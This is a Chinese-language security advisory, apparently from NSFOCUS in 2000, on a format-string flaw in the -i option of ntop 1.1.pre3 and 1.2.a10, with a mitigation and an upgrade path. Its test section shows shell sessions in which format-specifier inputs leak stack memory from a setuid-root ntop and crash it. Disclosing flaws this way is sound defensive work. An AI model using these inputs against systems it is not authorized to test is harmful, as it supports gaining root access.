首页 -> 安全研究

安全研究

安全漏洞
ntop 格式串漏洞

发布日期:2000-10-20
更新日期:2000-10-20

受影响系统:

ntop 1.1.pre3
  - FreeBSD
  - OpenBSD
  - NetBSD
  
ntop 1.2.a10
不受影响系统:

ntop 1.3.2
描述:

ntop是一个用来监视和分析unix系统网络使用状况的工具,它的"-i"参数
执行时存在格式串漏洞,例如:

ntop.c/ntop 1.1.pre3
395:      printf(ebuf);
429:      printf(ebuf);
434:      printf(ebuf);

ntop.c/ntop 1.2.a10
633:      printf(ebuf);
705:      printf(ebuf);
712:      printf(ebuf);
725:      printf(ebuf);

如果ntop被设置了setuid root属性,攻击者可能利用此漏洞获取root权限。

<* 来源:AirPlane (ksecurity@iland.co.kr) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


khs% uname -a
FreeBSD khs.AirPlane 4.0-RELEASE FreeBSD 4.0-
RELEASE

khs% ls -al /usr/local/sbin/ntop
-r-sr-s--- 1 root wheel 171978 Jul 25
03:45 /usr/local/sbin/ntop

khs% id
uid=1002(user) gid=1002(user) groups=1002(user), 0
(wheel)

khs% /usr/local/sbin/ntop -i "%p %p %p %p %p"
ntop v.1.1 MT [i386-otgpdvt-freebsd4.0]
listening on 0x80516ad 0x0 0xbf bff888 0x807d480
Host Act -Rcvd- Sent TCP UDP ICMP 0xbfbff970
0xbfbff834
0x804a23d 0x3: Device not configured

khs% /usr/local/sbin/ntop -i "%s %s %s %s"
ntop v.1.1 MT [i386-otgpdvt-freebsd4.0] listening on
5T^h|^h{^hx
Segmentation fault(core dumped)


建议:

临时解决办法:

NSFOCUS建议您在没有升级之前,暂时去掉ntop的setuid属性:
chmod u-s `which ntop`

厂商补丁:

升级到ntop 1.3.2(snapshot)版本


浏览次数:5643
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障